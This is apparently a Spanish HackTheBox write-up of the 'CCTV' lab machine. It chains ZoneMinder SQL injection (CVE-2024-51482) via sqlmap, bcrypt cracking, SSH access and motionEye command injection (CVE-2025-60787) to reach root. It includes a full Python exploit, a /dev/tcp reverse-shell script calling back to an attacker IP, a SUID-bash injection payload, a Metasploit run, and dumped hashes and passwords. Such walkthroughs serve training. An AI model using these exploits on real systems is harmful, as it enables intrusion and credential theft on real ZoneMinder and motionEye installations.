CorvusDDosKRom

HackTheBox: CCTV

Easy

CCTV es una máquina de nivel fácil en HackTheBox.

Linux
Hack The Box
Apache ZoneMinder CVE-2024-51482 SQL Injection SQLMap Bcrypt John motionEye CVE-2025-60787 Metasploit SSH Tunneling

CCTV

Plataforma: HackTheBox

Dificultad: Fácil

CCTV

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN cctv.txt 10.129.3.21
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-08 08:39 -0300
Nmap scan report for 10.129.3.21
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 107.46 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN cctv.txt: Guarda los resultados en el archivo “cctv.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 9.6p1)
  • 80/tcp - HTTP (Apache 2.4.58) — redirige a http://cctv.htb/

Añadimos el dominio al archivo /etc/hosts:

echo "10.129.3.21 cctv.htb" | sudo tee -a /etc/hosts

Exploración Web

Accedemos a http://cctv.htb/ y encontramos el sitio SecureVision, una empresa de videovigilancia con un botón Staff Login.

Web

Al hacer clic en Staff Login, somos redirigidos a http://cctv.htb/zm/ — una instancia de ZoneMinder.

ZoneMinder Login

Probamos las credenciales por defecto admin:admin y obtenemos acceso. La versión instalada es ZoneMinder 1.37.63.

ZoneMinder Console


CVE-2024-51482 — SQL Injection en ZoneMinder

ZoneMinder 1.37.63 es vulnerable a inyección SQL en el parámetro tid del endpoint /zm/index.php?view=request&request=event&action=removetag. Usamos sqlmap para enumerarla automáticamente.

Enumeramos las bases de datos:

sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<session_cookie>" \
  --dbs --batch
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm

Enumeramos las tablas de zm:

sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<session_cookie>" \
  -D zm --tables --batch

Identificamos la tabla Users entre las 43 tablas de la base de datos.

Volcamos las credenciales:

sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<session_cookie>" \
  -D zm -T Users -C Username,Password --dump --batch

SQLi

Obtenemos los hashes de los tres usuarios:

+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+

Cracking del Hash

Los hashes son de tipo bcrypt ($2y$10$). Crackeamos el hash de mark con john:

john mark.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt

John

Credenciales obtenidas:

  • Usuario: mark
  • Contraseña: opensesame

Acceso Inicial

Con las credenciales obtenidas, nos conectamos por SSH:

ssh mark@cctv.htb

SSH


Escalada de Privilegios

Enumeración del Sistema

Comenzamos enumerando posibles vías de escalada:

sudo -l

El usuario mark no tiene permisos sudo.

find / -perm -4000 2>/dev/null

No encontramos binarios SUID relevantes.

getcap -r / 2>/dev/null

Sin capabilities aprovechables.

Enumeración de Puertos Internos

Agotadas las vías habituales, verificamos los servicios internos activos:

ss -tlnp

Puertos Internos

Identificamos el puerto 8765 escuchando solo en localhost — corresponde a motionEye, una interfaz web para el daemon motion de videovigilancia.

Creamos un túnel SSH para exponerlo localmente:

ssh -L 8765:127.0.0.1:8765 mark@cctv.htb -N

Accedemos a http://127.0.0.1:8765 y encontramos el panel de login de motionEye.

motionEye Login

Buscamos credenciales en los archivos de configuración:

find /etc/motioneye /var/lib/motioneye ~/.motioneye -name "*.conf" 2>/dev/null | xargs grep -i password 2>/dev/null

motionEye Password

Encontramos el hash SHA1 del administrador en /etc/motioneye/motion.conf:

@admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

motionEye envía el SHA1 de la contraseña directamente al autenticar, por lo que podemos usar este hash sin necesidad de crackearlo. Con él iniciamos sesión y accedemos al panel de cámaras:

motionEye Panel

CVE-2025-60787 — motionEye Authenticated RCE

motionEye tiene una vulnerabilidad de ejecución remota de comandos autenticada (CVE-2025-60787) que permite a un usuario con acceso al panel inyectar comandos a través del campo on_picture_save de la configuración de cámara, el cual es ejecutado como comando de shell cada vez que se guarda una imagen.

Método 1 — Explotación Manual

motionEye autentica sus API mediante una firma HMAC-SHA1: cada petición debe incluir _username y _signature, donde la firma se calcula como SHA1("{method}:{path}:{body}:{admin_hash}"). Esto nos permite interactuar con la API directamente usando el hash que obtuvimos.

Primero preparamos el reverse shell en el sistema:

printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.16.52/4444 0>&1' > /tmp/pwn.sh
chmod 777 /tmp/pwn.sh

Levantamos el listener:

nc -lvnp 4444

A continuación usamos un script Python que:

  1. Obtiene la configuración actual de la cámara via /config/1/get
  2. Inyecta el payload en el campo image_file_name: %Y-%m-%d;bash /tmp/pwn.sh;
  3. Aplica la configuración via /config/1/set
  4. Dispara el snapshot via POST a /action/1/snapshot

Cuando motion guarda la imagen, expande el nombre de archivo en un comando shell — el ; actúa como separador y ejecuta bash /tmp/pwn.sh como root.

#!/usr/bin/env python3
import hashlib, json, re, sys, urllib.parse, urllib.request

MOTIONEYE_URL = "http://127.0.0.1:8765"
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"
_SIG_REGEX    = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')

def compute_signature(method, path, body, key):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
             if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for n, v in query]
    parts[0] = parts[1] = ''
    parts[3] = '&'.join(f'{n}={v}' for n, v in query)
    path = _SIG_REGEX.sub('-', urllib.parse.urlunsplit(parts))
    key  = _SIG_REGEX.sub('-', key)
    body_str = body and _SIG_REGEX.sub('-', body) if body and not body.startswith('---') else ''
    return hashlib.sha1(f'{method}:{path}:{body_str}:{key}'.encode()).hexdigest()

def api(method, path, body=None):
    sig = compute_signature(method, path, body or '', ADMIN_HASH)
    sep = '&' if '?' in path else '?'
    url = MOTIONEYE_URL + path + sep + '_signature=' + sig
    req = urllib.request.Request(url, body.encode() if body else None, method=method)
    if body:
        req.add_header('Content-Type', 'application/json')
    try:
        return json.loads(urllib.request.urlopen(req).read())
    except urllib.error.HTTPError as e:
        return {"error": str(e), "body": e.read().decode()}

def exploit(ip, port):
    config = api("GET", "/config/1/get?_username=admin")
    key = next((k for k in ['image_file_name', 'picture_file_name'] if k in config), 'image_file_name')
    print(f"[*] Injecting into '{key}'")
    config[key] = '%Y-%m-%d;bash /tmp/pwn.sh;'
    print(f"[*] Set config: {api('POST', '/config/1/set?_username=admin', json.dumps(config))}")
    import time; time.sleep(1)
    print(f"[*] Snapshot:   {api('POST', '/action/1/snapshot?_username=admin', '')}")
    print(f"[+] Check listener on {ip}:{port}")

if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else '10.10.16.52',
            sys.argv[2] if len(sys.argv) > 2 else '4444')
python3 exploit.py 10.10.16.52 4444

Reverse Shell

Obtenemos shell como root. Exploramos los directorios de usuario para encontrar la flag:

cd /home
ls
cd sa_mark
ls
cat user.txt

User Flag

cd /root
cat root.txt

Root Flag

Método 2 — Browser UI + SUID Bash

Este método no requiere listener ni script externo. Aprovechamos la inyección directamente desde el navegador para crear un binario SUID.

Paso 1 — Iniciar sesión en http://127.0.0.1:8765 como admin.

Paso 2 — Abrir configuración de CAM 01 (ícono de engranaje sobre la cámara).

Paso 3 — Bypass de validación JS. motionEye valida los campos en el cliente. Abrimos la consola del navegador (F12) y ejecutamos:

configUiValid = function() { return true; }

Paso 4 — Inyectar payload en Image File Name (sección Still Images):

$(cp /bin/bash /tmp/r;chmod 4755 /tmp/r).%Y-%m-%d-%H-%M-%S

Paso 5 — Click en Apply.

m2-config

Paso 6 — Disparar la ejecución desde el SSH como mark:

curl -s http://localhost:7999/0/action/snapshot
sleep 3
ls -la /tmp/r

El daemon motion (puerto 7999) ejecuta el snapshot, expande el filename en una shell como root y crea /tmp/r con el bit SUID activo (-rwsr-xr-x).

m2-suid

Paso 7 — Escalar a root usando el bash SUID:

/tmp/r -p -c "whoami"
/tmp/r -p -c "cat /root/root.txt"
/tmp/r -p -c "cat /home/sa_mark/user.txt"

m2-root


Método 3 — Explotación con Metasploit

Alternativamente, usamos el módulo de Metasploit que automatiza todo el proceso:

msfconsole -q
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
set LHOST 10.10.16.52
exploit

Metasploit

Obtenemos una sesión Meterpreter como root:

meterpreter > getuid
Server username: root

¡Root conseguido!

Hemos completado exitosamente la máquina CCTV de HackTheBox.